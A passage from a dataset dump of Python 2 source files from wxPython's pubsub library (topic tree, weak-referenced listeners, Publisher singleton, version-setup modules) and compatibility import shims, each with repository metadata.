= callableObject.im_func\n except AttributeError:\n try:\n return _paramMinCountFunc(callableObject)\n except exc:\n raise 'Cannot determine type of callable: %s' % repr(callableObject)\n \n min, d = _paramMinCountFunc(func)\n return min-1, d\n\n\ndef _tupleize(items):\n \"\"\"Convert items to tuple if not already one, \n so items must be a list, tuple or non-sequence\"\"\"\n if isinstance(items, list):\n raise TypeError, 'Not allowed to tuple-ize a list'\n elif isinstance(items, (str, unicode)) and items.find('.') != -1:\n items = tuple(items.split('.'))\n elif not isinstance(items, tuple):\n items = (items,)\n return items\n\n\ndef _getCallableName(callable):\n \"\"\"Get name for a callable, ie function, bound \n method or callable instance\"\"\"\n if ismethod(callable):\n return '%s.%s ' % (callable.im_self, callable.im_func.func_name)\n elif isfunction(callable):\n return '%s ' % callable.__name__\n else:\n return '%s ' % callable\n \n \ndef _removeItem(item, fromList):\n \"\"\"Attempt to remove item from fromList, return true \n if successful, false otherwise.\"\"\"\n try: \n fromList.remove(item)\n return True\n except ValueError:\n return False\n \n\n# -----------------------------------------------------------------------------\n\ndef getStrAllTopics():\n \"\"\"Function to call if, for whatever reason, you need to know \n explicitely what is the string to use to indicate 'all topics'.\"\"\"\n return ''\n\n\n# alias, easier to see where used\nALL_TOPICS = getStrAllTopics()\n\n# -----------------------------------------------------------------------------\n\n\nclass _NodeCallback:\n \"\"\"Encapsulate a weak reference to a method of a _TopicTreeNode\n in such a way that the method can be called, if the node is \n still alive, but the callback does not *keep* the node alive.\n Also, define two methods, preNotify() and noNotify(), which can \n be redefined to something else, very useful for testing. \n \"\"\"\n \n def __init__(self, obj):\n self.objRef = _getWeakRef(obj)\n \n def __call__(self, weakCB):\n notify = self.objRef()\n if notify is not None: \n self.preNotify(weakCB)\n notify(weakCB)\n else: \n self.noNotify()\n \n def preNotify(self, dead):\n \"\"\"'Gets called just before our callback (self.objRef) is called\"\"\"\n pass\n \n def noNotify(self):\n \"\"\"Gets called if the _TopicTreeNode for this callback is dead\"\"\"\n pass\n\n\nclass _TopicTreeNode:\n \"\"\"A node in the topic tree. This contains a list of callables\n that are interested in the topic that this node is associated\n with, and contains a dictionary of subtopics, whose associated\n values are other _TopicTreeNodes. The topic of a node is not stored\n in the node, so that the tree can be implemented as a dictionary\n rather than a list, for ease of use (and, likely, performance).\n \n Note that it uses _NodeCallback to encapsulate a callback for \n when a registered listener dies, possible thanks to WeakRef.\n Whenever this callback is called, the onDeadListener() function, \n passed in at construction time, is called (unless it is None).\n \"\"\"\n \n def __init__(self, topicPath, onDeadListenerWeakCB):\n self.__subtopics = {}\n self.__callables = []\n self.__topicPath = topicPath\n self.__onDeadListenerWeakCB = onDeadListenerWeakCB\n \n def getPathname(self): \n \"\"\"The complete node path to us, ie., the topic tuple that would lead to us\"\"\"\n return self.__topicPath\n \n def createSubtopic(self, subtopic, topicPath):\n \"\"\"Create a child node for subtopic\"\"\"\n return self.__subtopics.setdefault(subtopic,\n _TopicTreeNode(topicPath, self.__onDeadListenerWeakCB))\n \n def hasSubtopic(self, subtopic):\n \"\"\"Return true only if topic string is one of subtopics of this node\"\"\"\n return self.__subtopics.has_key(subtopic)\n \n def getNode(self, subtopic):\n \"\"\"Return ref to node associated with subtopic\"\"\"\n return self.__subtopics[subtopic]\n \n def addCallable(self, callable):\n \"\"\"Add a callable to list of callables for this topic node\"\"\"\n try:\n id = self.__callables.index(_getWeakRef(callable))\n return self.__callables[id]\n except ValueError:\n wrCall = _getWeakRef(callable, _NodeCallback(self.__notifyDead))\n self.__callables.append(wrCall)\n return wrCall\n \n def getCallables(self):\n \"\"\"Get callables associated with this topic node\"\"\"\n return [cb() for cb in self.__callables if cb() is not None]\n \n def hasCallable(self, callable):\n \"\"\"Return true if callable in this node\"\"\"\n try: \n self.__callables.index(_getWeakRef(callable))\n return True\n except ValueError:\n return False\n \n def sendMessage(self, message):\n \"\"\"Send a message to our callables\"\"\"\n deliveryCount = 0\n for cb in self.__callables[:]:\n listener = cb()\n if listener is not None:\n listener(message)\n deliveryCount += 1\n return deliveryCount\n \n def removeCallable(self, callable):\n \"\"\"Remove weak callable from our node (and return True). \n Does nothing if not here (and returns False).\"\"\"\n try: \n self.__callables.remove(_getWeakRef(callable))\n return True\n except ValueError:\n return False\n \n def clearCallables(self):\n \"\"\"Abandon list of callables to caller. We no longer have \n any callables after this method is called.\"\"\"\n tmpList = [cb for cb in self.__callables if cb() is not None]\n self.__callables = []\n return tmpList\n \n def __notifyDead(self, dead):\n \"\"\"Gets called when a listener dies, thanks to WeakRef\"\"\"\n #print 'TreeNODE', `self`, 'received death certificate for ', dead\n self.__cleanupDead()\n if self.__onDeadListenerWeakCB is not None:\n cb = self.__onDeadListenerWeakCB()\n if cb is not None: \n cb(dead)\n \n def __cleanupDead(self):\n \"\"\"Remove all dead objects from list of callables\"\"\"\n self.__callables = [cb for cb in self.__callables if cb() is not None]\n \n def __str__(self):\n \"\"\"Print us in a not-so-friendly, but readable way, good for debugging.\"\"\"\n strVal = []\n for callable in self.getCallables():\n strVal.append(_getCallableName(callable))\n for topic, node in self.__subtopics.iteritems():\n strVal.append(' (%s: %s)' %(topic, node))\n return ''.join(strVal)\n \n \nclass _TopicTreeRoot(_TopicTreeNode):\n \"\"\"\n The root of the tree knows how to access other node of the \n tree and is the gateway of the tree user to the tree nodes. \n It can create topics, and and remove callbacks, etc. \n \n For efficiency, it stores a dictionary of listener-topics, \n so that unsubscribing a listener just requires finding the \n topics associated to a listener, and finding the corresponding\n nodes of the tree. Without it, unsubscribing would require \n that we search the whole tree for all nodes that contain \n given listener. Since Publisher is a singleton, it will \n contain all topics in the system so it is likely to be a large\n tree. However, it is possible that in some runs, unsubscribe()\n is called very little by the user, in which case most unsubscriptions\n are automatic, ie caused by the listeners dying. In this case, \n a flag is set to indicate that the dictionary should be cleaned up\n at the next opportunity. This is not necessary, it is just an \n optimization.\n \"\"\"\n \n def __init__(self):\n self.__callbackDict = {}\n self.__callbackDictCleanup = 0\n # all child nodes will call our __rootNotifyDead method\n # when one of their registered listeners dies \n _TopicTreeNode.__init__(self, (ALL_TOPICS,), \n _getWeakRef(self.__rootNotifyDead))\n \n def addTopic(self, topic, listener):\n \"\"\"Add topic to tree if doesnt exist, and add listener to topic node\"\"\"\n assert isinstance(topic, tuple)\n topicNode = self.__getTreeNode(topic, make=True)\n weakCB = topicNode.addCallable(listener)\n assert topicNode.hasCallable(listener)\n\n theList = self.__callbackDict.setdefault(weakCB, [])\n assert self.__callbackDict.has_key(weakCB)\n # add it only if we don't already have it\n try:\n weakTopicNode = WeakRef(topicNode)\n theList.index(weakTopicNode)\n except ValueError:\n theList.append(weakTopicNode)\n assert self.__callbackDict[weakCB].index(weakTopicNode) >= 0\n \n def getTopics(self, listener):\n \"\"\"Return the list of topics for given listener\"\"\"\n weakNodes = self.__callbackDict.get(_getWeakRef(listener), [])\n return [weakNode().getPathname() for weakNode in weakNodes \n if weakNode() is not None]\n\n def isSubscribed(self, listener, topic=None):\n \"\"\"Return true if listener is registered for topic specified. \n If no topic specified, return true if subscribed to something.\n Use topic=getStrAllTopics() to determine if a listener will receive \n messages for all topics.\"\"\"\n weakCB = _getWeakRef(listener)\n if topic is None: \n return self.__callbackDict.has_key(weakCB)\n else:\n topicPath = _tupleize(topic)\n for weakNode in self.__callbackDict[weakCB]:\n if topicPath == weakNode().getPathname():\n return True\n return False\n \n def unsubscribe(self, listener, topicList):\n \"\"\"Remove listener from given list of topics. If topicList\n doesn't have any topics for which listener has subscribed,\n nothing happens.\"\"\"\n weakCB = _getWeakRef(listener)\n if not self.__callbackDict.has_key(weakCB):\n return\n \n cbNodes = self.__callbackDict[weakCB] \n if topicList is None:\n for weakNode in cbNodes:\n weakNode().removeCallable(listener)\n del self.__callbackDict[weakCB] \n return\n\n for weakNode in cbNodes:\n node = weakNode()\n if node is not None and node.getPathname() in topicList:\n success = node.removeCallable(listener)\n assert success == True\n cbNodes.remove(weakNode)\n assert not self.isSubscribed(listener, node.getPathname())\n\n def unsubAll(self, topicList, onNoSuchTopic):\n \"\"\"Unsubscribe all listeners registered for any topic in \n topicList. If a topic in the list does not exist, and \n onNoSuchTopic is not None, a call\n to onNoSuchTopic(topic) is done for that topic.\"\"\"\n for topic in topicList:\n node = self.__getTreeNode(topic)\n if node is not None:\n weakCallables = node.clearCallables()\n for callable in weakCallables:\n weakNodes = self.__callbackDict[callable]\n success = _removeItem(WeakRef(node), weakNodes)\n assert success == True\n if weakNodes == []:\n del self.__callbackDict[callable]\n elif onNoSuchTopic is not None: \n onNoSuchTopic(topic)\n \n def sendMessage(self, topic, message, onTopicNeverCreated):\n \"\"\"Send a message for given topic to all registered listeners. If \n topic doesn't exist, call onTopicNeverCreated(topic).\"\"\"\n # send to the all-toipcs listeners\n deliveryCount = _TopicTreeNode.sendMessage(self, message)\n # send to those who listen to given topic or any of its supertopics\n node = self\n for topicItem in topic:\n assert topicItem != ''\n if node.hasSubtopic(topicItem):\n node = node.getNode(topicItem)\n deliveryCount += node.sendMessage(message)\n else: # topic never created, don't bother continuing\n if onTopicNeverCreated is not None:\n onTopicNeverCreated(topic)\n break\n return deliveryCount\n\n def numListeners(self):\n \"\"\"Return a pair (live, dead) with count of live and dead listeners in tree\"\"\"\n dead, live = 0, 0\n for cb in self.__callbackDict:\n if cb() is None: \n dead += 1\n else:\n live += 1\n return live, dead\n \n # clean up the callback dictionary after how many dead listeners\n callbackDeadLimit = 10\n\n def __rootNotifyDead(self, dead):\n #print 'TreeROOT received death certificate for ', dead\n self.__callbackDictCleanup += 1\n if self.__callbackDictCleanup > _TopicTreeRoot.callbackDeadLimit:\n self.__callbackDictCleanup = 0\n oldDict = self.__callbackDict\n self.__callbackDict = {}\n for weakCB, weakNodes in oldDict.iteritems():\n if weakCB() is not None:\n self.__callbackDict[weakCB] = weakNodes\n \n def __getTreeNode(self, topic, make=False):\n \"\"\"Return the tree node for 'topic' from the topic tree. If it \n doesnt exist and make=True, create it first.\"\"\"\n # if the all-topics, give root; \n if topic == (ALL_TOPICS,):\n return self\n \n # not root, so traverse tree\n node = self\n path = ()\n for topicItem in topic:\n path += (topicItem,)\n if topicItem == ALL_TOPICS:\n raise ValueError, 'Topic tuple must not contain \"\"'\n if make: \n node = node.createSubtopic(topicItem, path)\n elif node.hasSubtopic(topicItem):\n node = node.getNode(topicItem)\n else:\n return None\n # done\n return node\n \n def printCallbacks(self):\n strVal = ['Callbacks:\\n']\n for listener, weakTopicNodes in self.__callbackDict.iteritems():\n topics = [topic() for topic in weakTopicNodes if topic() is not None]\n strVal.append(' %s: %s\\n' % (_getCallableName(listener()), topics))\n return ''.join(strVal)\n \n def __str__(self):\n return 'all: %s' % _TopicTreeNode.__str__(self)\n \n \n# -----------------------------------------------------------------------------\n\nclass _SingletonKey: \n \"\"\"Used to \"prevent\" instantiating a _PublisherClass \n from outside the module\"\"\"\n pass\n\n\nclass PublisherClass:\n \"\"\"\n The publish/subscribe manager. It keeps track of which listeners\n are interested in which topics (see subscribe()), and sends a\n Message for a given topic to listeners that have subscribed to\n that topic, with optional user data (see sendMessage()).\n \n The three important concepts for pubsub are:\n \n - listener: a function, bound method or\n callable object that can be called with one parameter\n (not counting 'self' in the case of methods). The parameter\n will be a reference to a Message object. E.g., these listeners\n are ok::\n \n class Foo:\n def __call__(self, a, b=1): pass # can be called with only one arg\n def meth(self, a): pass # takes only one arg\n def meth2(self, a=2, b=''): pass # can be called with one arg\n \n def func(a, b=''): pass\n \n Foo foo\n \n import pubsub as Publisher\n Publisher.subscribe(foo) # functor\n Publisher.subscribe(foo.meth) # bound method\n Publisher.subscribe(foo.meth2) # bound method\n Publisher.subscribe(func) # function\n \n The three types of callables all have arguments that allow a call \n with only one argument. In every case, the parameter 'a' will contain\n the message. \n \n - topic: a single word, a tuple of words, or a string containing a\n set of words separated by dots, for example: 'sports.baseball'.\n A tuple or a dotted notation string denotes a hierarchy of\n topics from most general to least. For example, a listener of\n this topic::\n \n ('sports','baseball')\n \n would receive messages for these topics::\n \n ('sports', 'baseball') # because same\n ('sports', 'baseball', 'highscores') # because more specific\n \n but not these::\n \n 'sports' # because more general\n ('sports',) # because more general\n () or ('') # because only for those listening to 'all' topics\n ('news') # because different topic\n \n - message: this is an instance of Message, containing the topic for \n which the message was sent, and any data the sender specified. \n \n :note: This class is not directly visible to importers of pubsub.\n A singleton instance of it, named Publisher, is created by \n the module at load time, allowing to write 'Publisher.method()'.\n All the singleton's methods are made accessible at module\n level so that knowing about the singleton is not necessary.\n This does imply that help docs generated from this module via \n help(pubsub) will show several module-level functions, whose \n first parameter is `self`. You should ignore that parameter \n and consider it to be implicitely refering to the singleton. \n E.g. if help() lists `getDeliveryCount(self)`, you call it as \n `pubsub.getDeliveryCount()`.\n\n \"\"\"\n \n __ALL_TOPICS_TPL = (ALL_TOPICS, )\n PUBSUB_VERSION = PUBSUB_VERSION\n \n def __init__(self, singletonKey):\n \"\"\"Construct a Publisher. This can only be done by the pubsub \n module. You just use pubsub.Publisher().\"\"\"\n if not isinstance(singletonKey, _SingletonKey):\n raise invalid_argument(\"Use Publisher() to get access to singleton\")\n self.__messageCount = 0\n self.__deliveryCount = 0\n self.__topicTree = _TopicTreeRoot()\n\n #\n # Public API\n #\n\n def getDeliveryCount(self):\n \"\"\"How many listeners have received a message since beginning of run\"\"\"\n return self.__deliveryCount\n \n def getMessageCount(self):\n \"\"\"How many times sendMessage() was called since beginning of run\"\"\"\n return self.__messageCount\n \n def subscribe(self, listener, topic = ALL_TOPICS):\n \"\"\"\n Subscribe listener for given topic. If topic is not specified,\n listener will be subscribed for all topics (that listener will \n receive a Message for any topic for which a message is generated). \n \n This method may be called multiple times for one listener,\n registering it with many topics. It can also be invoked many\n times for a particular topic, each time with a different\n listener. See the class doc for requirements on listener and\n topic.\n\n :note: The listener is held only by *weak*\n reference. This means you must ensure you have at\n least one strong reference to listener, otherwise it\n will be DOA (\"dead on arrival\"). This is particularly\n easy to forget when wrapping a listener method in a\n proxy object (e.g. to bind some of its parameters),\n e.g.::\n \n class Foo: \n def listener(self, event): pass\n class Wrapper:\n def __init__(self, fun): self.fun = fun\n def __call__(self, *args): self.fun(*args)\n foo = Foo()\n Publisher().subscribe( Wrapper(foo.listener) ) # whoops: DOA!\n wrapper = Wrapper(foo.listener)\n Publisher().subscribe(wrapper) # good!\n \n :note: Calling this method for the same listener, with two\n topics in the same branch of the topic hierarchy, will\n cause the listener to be notified twice when a message\n for the deepest topic is sent. E.g.\n subscribe(listener, 't1') and then subscribe(listener,\n ('t1','t2')) means that when calling sendMessage('t1'),\n listener gets one message, but when calling\n sendMessage(('t1','t2')), listener gets message twice.\n \n \"\"\"\n self.validate(listener)\n\n if topic is None: \n raise TypeError, 'Topic must be either a word, tuple of '\\\n 'words, or getStrAllTopics()'\n \n self.__topicTree.addTopic(_tupleize(topic), listener)\n\n def isSubscribed(self, listener, topic=None):\n \"\"\"Return true if listener has subscribed to topic specified. \n If no topic specified, return true if subscribed to something.\n Use topic=getStrAllTopics() to determine if a listener will receive \n messages for all topics.\"\"\"\n return self.__topicTree.isSubscribed(listener, topic)\n \n def validate(self, listener):\n \"\"\"Similar to isValid(), but raises a TypeError exception if not valid\"\"\"\n # check callable\n if not callable(listener):\n raise TypeError, 'Listener '+`listener`+' must be a '\\\n 'function, bound method or instance.'\n # ok, callable, but if method, is it bound:\n elif ismethod(listener) and not _isbound(listener):\n raise TypeError, 'Listener '+`listener`+\\\n ' is a method but it is unbound!'\n \n # check that it takes the right number of parameters\n min, d = _paramMinCount(listener)\n if min > 1:\n raise TypeError, 'Listener '+`listener`+\" can't\"\\\n ' require more than one parameter!'\n if min <= 0 and d == 0:\n raise TypeError, 'Listener '+`listener`+' lacking arguments!'\n \n assert (min == 0 and d>0) or (min == 1)\n\n def isValid(self, listener):\n \"\"\"Return true only if listener will be able to subscribe to \n Publisher.\"\"\"\n try: \n self.validate(listener)\n return True\n except TypeError:\n return False\n\n def unsubAll(self, topics=None, onNoSuchTopic=None):\n \"\"\"Unsubscribe all listeners subscribed for topics. Topics can \n be a single topic (string or tuple) or a list of topics (ie \n list containing strings and/or tuples). If topics is not \n specified, all listeners for all topics will be unsubscribed, \n ie. there will be no topics and no listeners\n left. If onNoSuchTopic is given, it will be called as \n onNoSuchTopic(topic) for each topic that is unknown.\n \"\"\"\n if topics is None: \n del self.__topicTree\n self.__topicTree = _TopicTreeRoot()\n return\n \n # make sure every topics are in tuple form\n if isinstance(topics, list):\n topicList = [_tupleize(x) for x in topics]\n else:\n topicList = [_tupleize(topics)]\n \n # unsub every listener of topics\n self.__topicTree.unsubAll(topicList, onNoSuchTopic)\n \n def unsubscribe(self, listener, topics=None):\n \"\"\"Unsubscribe listener. If topics not specified, listener is\n completely unsubscribed. Otherwise, it is unsubscribed only \n for the topic (the usual tuple) or list of topics (ie a list\n of tuples) specified. Nothing happens if listener is not actually\n subscribed to any of the topics.\n \n Note that if listener subscribed for two topics (a,b) and (a,c), \n then unsubscribing for topic (a) will do nothing. You must \n use getAssociatedTopics(listener) and give unsubscribe() the returned \n list (or a subset thereof).\n \"\"\"\n self.validate(listener)\n topicList = None\n if topics is not None:\n if isinstance(topics, list):\n topicList = [_tupleize(x) for x in topics]\n else:\n topicList = [_tupleize(topics)]\n \n self.__topicTree.unsubscribe(listener, topicList)\n \n def getAssociatedTopics(self, listener):\n \"\"\"Return a list of topics the given listener is registered with. \n Returns [] if listener never subscribed.\n \n :attention: when using the return of this method to compare to\n expected list of topics, remember that topics that are\n not in the form of a tuple appear as a one-tuple in\n the return. E.g. if you have subscribed a listener to\n 'topic1' and ('topic2','subtopic2'), this method\n returns::\n \n associatedTopics = [('topic1',), ('topic2','subtopic2')]\n \"\"\"\n return self.__topicTree.getTopics(listener)\n \n def sendMessage(self, topic=ALL_TOPICS, data=None, onTopicNeverCreated=None):\n \"\"\"Send a message for given topic, with optional data, to\n subscribed listeners. If topic is not specified, only the\n listeners that are interested in all topics will receive message. \n The onTopicNeverCreated is an optional callback of your choice that \n will be called if the topic given was never created (i.e. it, or \n one of its subtopics, was never subscribed to by any listener). \n It will be called as onTopicNeverCreated(topic).\"\"\"\n aTopic = _tupleize(topic)\n message = Message(aTopic, data)\n self.__messageCount += 1\n \n # send to those who listen to all topics\n self.__deliveryCount += \\\n self.__topicTree.sendMessage(aTopic, message, onTopicNeverCreated)\n \n #\n # Private methods\n #\n\n def __call__(self):\n \"\"\"Allows for singleton\"\"\"\n return self\n \n def __str__(self):\n return str(self.__topicTree)\n\n# Create the Publisher singleton. We prevent users from (inadvertently)\n# instantiating more than one object, by requiring a key that is \n# accessible only to module. From\n# this point forward any calls to Publisher() will invoke the __call__\n# of this instance which just returns itself.\n#\n# The only flaw with this approach is that you can't derive a new\n# class from Publisher without jumping through hoops. If this ever\n# becomes an issue then a new Singleton implementaion will need to be\n# employed.\n_key = _SingletonKey()\n# The singleton instance of PublisherClass\nPublisher = PublisherClass(_key)\n\n\n#---------------------------------------------------------------------------\n\nfrom core.datamsg import Message\n\n#---------------------------------------------------------------------------\n\ndef setupForTesting():\n \"\"\"This is used only by testing modules. Use at your own risk ;)\"\"\"\n global TopicTreeRoot, TopicTreeNode, paramMinCount, setDeadCallback\n TopicTreeRoot = _TopicTreeRoot\n TopicTreeNode = _TopicTreeNode\n paramMinCount = _paramMinCount\n\n def _setDeadCallback(newCallback):\n \"\"\"When a message is sent via sendMessage(), the listener is tested \n for \"livelyhood\" (ie there must be at least one place in your code \n that is still referring to it). If it is dead, newCallback will be \n called as newCallback(weakref), where weakref is the weak reference\n object created for the listener when the listener subscribed. \n This is useful primarily for testing.\"\"\"\n _NodeCallback.preNotify = newCallback\n\n setDeadCallback = _setDeadCallback\n\n#---------------------------------------------------------------------------\n\nimport pubsubconf\npubsubconf.pubModuleLoaded()\ndel pubsubconf\n", "id": "9071269", "language": "Python", "matching_score": 3.6962714195251465, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/pubsub1/pub.py" }, { "content": "\"\"\"\nConfiguration of pubsub API to use either the *arg1* or *kwargs*\nmessaging protocol in API, or to help transition from the former to the\nlatter. This should be used only internally by pubsub. \n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n \n\"\"\"\n\n\npubModuleInfo = None\n\n\ndef setVersion(id):\n pubModuleInfo.setVersion(id)\n\n\nclass _PubModuleInfo:\n '''Used to keep track of which pub module is loaded, based on version\n selected. '''\n\n DEFAULT_VERSION = 3\n\n def __init__(self, moduleSearchPaths, moduleDict):\n self.__searchPaths = moduleSearchPaths\n self.__pubsubDict = moduleDict\n self.__version = self.DEFAULT_VERSION\n # nothing else to do for default version\n\n def setVersion(self, versionID):\n if versionID == self.__version:\n return\n\n modulePath = self.__searchPaths\n\n # cleanup first if necessary:\n\n if self.__version == self.DEFAULT_VERSION:\n # nothing to cleanup\n pass\n\n else:\n # remove the now obsolete path element\n assert len(modulePath) > 1\n del modulePath[0]\n\n if self.__version == 1:\n self.__unsetupV1()\n\n assert len(modulePath) == 1\n\n # now add path if necessary:\n if versionID == self.DEFAULT_VERSION:\n # path is '.', ie modulePath[-1]\n pass\n\n else:\n # just prepend the path:\n ourInitpyPath = modulePath[-1]\n paths = {1: 'pubsub1', 2: 'pubsub2', self.DEFAULT_VERSION: None}\n import os\n path = os.path.join(ourInitpyPath, paths[versionID])\n modulePath.insert(0, path)\n\n assert versionID != self.__version\n self.__version = versionID\n\n if self.__version == 1:\n self.__setupForV1()\n\n\n def __setupForV1(self):\n '''Add the pub module and Publisher singleton to the given map\n (pubsubInitGlobals), assumed to be pubsub.__init__'s global dict.\n The pub module will provide the legacy \"version 1\" API for pubsub,\n and Publisher will be the singleton stored in that module.'''\n import pub\n from pub import Publisher\n\n self.__pubsubDict['Publisher'] = Publisher\n self.__pubsubDict['pub'] = pub\n\n\n def __unsetupV1(self):\n '''This should be called by pubsub.setup!* modules in case setupv1 was used.'''\n self.__removePubModule()\n del self.__pubsubDict['pub']\n del self.__pubsubDict['Publisher']\n\n\n def __removePubModule(self):\n '''Remove the given module object from the sys.modules map.'''\n pubsub1 = self.__pubsubDict['pub']\n import sys\n for (modName, modObj) in sys.modules.iteritems():\n if modObj is pubsub1:\n del sys.modules[modName]\n break\n\n\ndef setPubsubInfo(moduleSearchPath, moduleDict):\n '''This gets called by pubsub's __init__.py so that setupv1 will be\n able to add the pub and Publisher instances to pubsub module, and so\n that setupkwargs and setuparg1 can clean things up if they are\n imported after setupv1 was used. '''\n global pubModuleInfo\n assert pubModuleInfo is None\n pubModuleInfo = _PubModuleInfo(moduleSearchPath, moduleDict)\n\n\ndef pubModuleLoaded():\n '''This gets called by pub once loaded. Helps avoid circular refs.'''\n #global pubModuleInfo\n #pubModuleInfo = None\n\n ", "id": "4123970", "language": "Python", "matching_score": 3.3707728385925293, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/pubsubconf.py" }, { "content": "'''\nPublish-subscribe package.\n\nThis package provides the following modules:\n\n- pub: \"entry point\" module for core pubsub functionality. It provides \n functions for sending messages and subscribing listeners and various\n others.\n- utils: subpackage of utility functions and classes for debugging\n messages, handling exceptions raised in listeners, and more.\n- setupv1: (deprecated) module to force pubsub to use the old,\n \"version 1\" (aka v1) API (should only be useful to wxPython users\n for legacy code).\n- setuparg1: module to setup pubsub to use \"arg1\" messaging protocol\n- setupkwargs: module to setup pubsub to use \"kwargs\" messaging protocol\n\nFor instance::\n\n from pubsub import pub\n pub.sendMessage('topic', data1=123)\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\nLast known commit:\n- $Date: 2010-02-13 08:57:21 -0500 (Sat, 13 Feb 2010) $\n- $Revision: 249 $\n\n'''\n\n\n__all__ = [\n 'pub', 'utils',\n 'printImported', 'setupkwargs', 'setuparg1', 'setupv1',\n ]\n\n\n# set our module search path in globalsettings so setup*.py modules \n# can find and modify\nimport pubsubconf\npubsubconf.setPubsubInfo(__path__, globals())\ndel pubsubconf # prevent circular ref\n\n\ndef printImported():\n '''Output a list of pubsub modules imported so far'''\n import sys\n ll = [mod for mod in sys.modules.keys() if mod.find('pubsub') >= 0]\n ll.sort()\n print '\\n'.join(ll)\n\n\ndef _tryAutoSetupV1():\n '''This function is called automatically when the pubsub module is \n imported. It determines if the legacy \"version 1\" API of pubsub should\n be used automatically, by looking for a module called 'autosetuppubsubv1'\n on the module's search path. If this module is found, setupv1 is imported,\n so your application will get v1 API just by doing \"from pubsub import ...\". \n If that module is not found then nothing happens and the function\n returns; your application will get the \"default\" API unless you \n explicitly choose a different one. Note that autosetuppubsubv1 is never\n actually imported, just searched. '''\n try: \n # if autosetupv1 is importable, then it means we should\n # automatically setup for version 1 API\n import imp\n imp.find_module('autosetuppubsubv1', __path__)\n \n except ImportError:\n pass\n \n else:\n import setupv1\n assert pub is not None\n assert Publisher is pub.Publisher\n\n\n_tryAutoSetupV1()\n", "id": "1770596", "language": "Python", "matching_score": 2.5579569339752197, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/__init__.py" }, { "content": "'''\nThis is not really a package init file, it is only here to simplify the\npackaging and installation of pubsub.core's protocol-specific subfolders\nby setuptools. The python modules in this folder are automatically made\npart of pubsub.core via pubsub.core's __path__. Hence, this should not\nbe imported directly, it is part of pubsub.core when the messaging\nprotocol is \"kwargs\" (and not usable otherwise).\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\nmsg = 'Should not import this directly, used by pubsub.core if applicable'\nraise RuntimeError(msg)", "id": "9673728", "language": "Python", "matching_score": 0.9868596196174622, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/kwargs/__init__.py" }, { "content": "'''\nIf this module is named autosetuppubsubv1, and it is in the pubsub\npackage's folder, it will cause pubsub to default to \"version 1\" (v1)\nof the API when pub is imported. The v1 API was the version originally\ndeveloped as part of wxPython's wx.lib library.\n\nIf this module is named anything else (such as prefixed with an\nunderscore) it will not be found by pubsub: the most recent pubsub\nAPI will be loaded upon import of the *pub* module.\n'''", "id": "7687593", "language": "Python", "matching_score": 0.32095250487327576, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/autosetuppubsubv1.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.plot\n\n__doc__ = wx.lib.plot.__doc__\n\nPolyPoints = wx.lib.plot.PolyPoints\nPolyLine = wx.lib.plot.PolyLine\nPolyMarker = wx.lib.plot.PolyMarker\nPlotGraphics = wx.lib.plot.PlotGraphics\nPlotCanvas = wx.lib.plot.PlotCanvas\nPlotPrintout = wx.lib.plot.PlotPrintout\nFloatDCWrapper = wx.lib.plot.FloatDCWrapper\n_draw1Objects = wx.lib.plot._draw1Objects\n_draw2Objects = wx.lib.plot._draw2Objects\n_draw3Objects = wx.lib.plot._draw3Objects\n_draw4Objects = wx.lib.plot._draw4Objects\n_draw5Objects = wx.lib.plot._draw5Objects\n__test = wx.lib.plot.__test\n\n", "id": "7393249", "language": "Python", "matching_score": 0.756295919418335, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/plot.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.mvctree\n\n__doc__ = wx.lib.mvctree.__doc__\n\nBasicTreeModel = wx.lib.mvctree.BasicTreeModel\nEVT_MVCTREE_ADD_ITEM = wx.lib.mvctree.EVT_MVCTREE_ADD_ITEM\nEVT_MVCTREE_DELETE_ITEM = wx.lib.mvctree.EVT_MVCTREE_DELETE_ITEM\nEVT_MVCTREE_ITEM_COLLAPSED = wx.lib.mvctree.EVT_MVCTREE_ITEM_COLLAPSED\nEVT_MVCTREE_ITEM_COLLAPSING = wx.lib.mvctree.EVT_MVCTREE_ITEM_COLLAPSING\nEVT_MVCTREE_ITEM_EXPANDED = wx.lib.mvctree.EVT_MVCTREE_ITEM_EXPANDED\nEVT_MVCTREE_ITEM_EXPANDING = wx.lib.mvctree.EVT_MVCTREE_ITEM_EXPANDING\nEVT_MVCTREE_KEY_DOWN = wx.lib.mvctree.EVT_MVCTREE_KEY_DOWN\nEVT_MVCTREE_SEL_CHANGED = wx.lib.mvctree.EVT_MVCTREE_SEL_CHANGED\nEVT_MVCTREE_SEL_CHANGING = wx.lib.mvctree.EVT_MVCTREE_SEL_CHANGING\nEditor = wx.lib.mvctree.Editor\nFSTreeModel = wx.lib.mvctree.FSTreeModel\nFileEditor = wx.lib.mvctree.FileEditor\nFileWrapper = wx.lib.mvctree.FileWrapper\nLateFSTreeModel = wx.lib.mvctree.LateFSTreeModel\nLayoutEngine = wx.lib.mvctree.LayoutEngine\nLinePainter = wx.lib.mvctree.LinePainter\nMVCTreeNode = wx.lib.mvctree.MVCTreeNode\nNodePainter = wx.lib.mvctree.NodePainter\nNullTransform = wx.lib.mvctree.NullTransform\nPainter = wx.lib.mvctree.Painter\nRect = wx.lib.mvctree.Rect\nStrTextConverter = wx.lib.mvctree.StrTextConverter\nTextConverter = wx.lib.mvctree.TextConverter\nTransform = wx.lib.mvctree.Transform\nTreeLayout = wx.lib.mvctree.TreeLayout\nTreeLinePainter = wx.lib.mvctree.TreeLinePainter\nTreeNodePainter = wx.lib.mvctree.TreeNodePainter\nTreePainter = 